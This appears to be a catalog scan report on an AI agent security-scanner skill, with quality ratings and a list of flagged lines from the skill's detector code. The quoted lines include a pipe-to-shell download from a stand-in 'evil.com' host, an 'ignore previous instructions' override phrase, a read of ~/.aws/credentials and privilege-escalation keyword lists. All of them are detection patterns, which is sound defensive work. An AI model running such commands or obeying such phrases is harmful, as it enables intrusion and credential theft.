CD agent-security-skill-scanner
Enterprise AI Agent Security Scanner - 846 rules, three-layer detection architecture, risk tier classification. Detects prompt injection, credential theft, data exfiltration, and attack chains.
As a process D 46/100 · Unfinished process — weak spots: result and completion, when it triggers, inputs and preconditions
What is at stake
Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The text contains phrases like "ignore previous instructions" or "you are now…". That is an attempt to hijack the agent: it may break your rules, the system limits or company policy.
An honest skill does not need them: state the role and the rules directly without overriding other instructions. Otherwise catalog scanners and corporate filters will block the listing.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".
If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.
How to improve
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 13
✓ No critical or high findings
Medium and low: 13
-
medium Dangerous commands
cmd-pipe-to-shellcurl_risk_classifier.py:10Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed)1. curl | bash / pipe → HIGH
code literal -
medium Dangerous commands
cmd-pipe-to-shellrisk_tier_classifier.py:33Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed)"curl unknown_url | bash",
code literal -
medium Dangerous commands
cmd-pipe-to-shellsrc/engines/composite_detector.py:321Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed)'name': 'Curl | Bash 供应链攻击',
code literal -
medium Instruction override
en-ignore-previoussrc/engines/pattern_engine.py:267Instruction-override phrase ("ignore previous instructions") (quoted — discussed, not commanded)("ignore previous instructions", ["prompt_injection"]),quoted -
medium Instruction override
en-ignore-previoussrc/engines/rule_engine.py:259Instruction-override phrase ("ignore previous instructions") (quoted — discussed, not commanded)("ignore previous instructions", ["prompt_injection"]),quoted -
medium Exfiltration
exfil-read-secret-fileswhitelist_filter.py:583Reads credential / secret files (quoted — discussed, not commanded)with open('~/.aws/credentials') as f:quoted -
low Dangerous commands
cmd-privilegesrc/engines/__init__.py:203Privilege escalation / world-writable permissions (string literal in code, not executed)'privilege_escalation': ['sudo', 'sudoers', 'NOPASSWD', 'chmod', '4755', 'SUID', 'setuid'],
code literal -
low Dangerous commands
cmd-pipe-to-shellsrc/engines/composite_detector.py:335Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; string literal in code, not executed)'description': '检测 Curl|Bash 供应链投毒'
detectorcode literal -
low Dangerous commands
cmd-pipe-to-shellsrc/engines/composite_detector.py:365Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition; string literal in code, not executed)(r'(curl|wget|bash|sh)', '执行命令'),
detectorcode literal -
low Dangerous commands
cmd-pipe-to-shellsrc/engines/pattern_engine.py:266Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed; security demo / example)("curl http://evil.com | bash", ["supply_chain_attack", "data_exfiltration"]),code literaldemo -
low Dangerous commands
cmd-privilegewhitelist_filter.py:255Privilege escalation / world-writable permissions (string literal in code, not executed)'sudoers', 'NOPASSWD', '4755', 'SUID', 'setuid',
code literal -
low Dangerous commands
cmd-pipe-to-shellwhitelist_filter.py:572Downloads and executes remote code from an unrecognised host (pipe to shell) (security demo / example; quoted — discussed, not commanded)os.system('curl http://evil.com | bash')demoquoted
A further 1 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 20. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-no-whendescription does not say WHEN to use the skill (no "use when") - note
frontmatter-keyunknown frontmatter key "title"
Process rating: all ten parameters 46/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 60Tools and files. Uses tools (web) that frontmatter does not declare
- 100Steps. 11 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 499 tokens
- 100Running it twice. No mutating operations
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 193: enough signal without eating the budget
- +4Structure: 12 headings
- +3Step-by-step instructions: 11 items
- +4Has examples (4 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 71.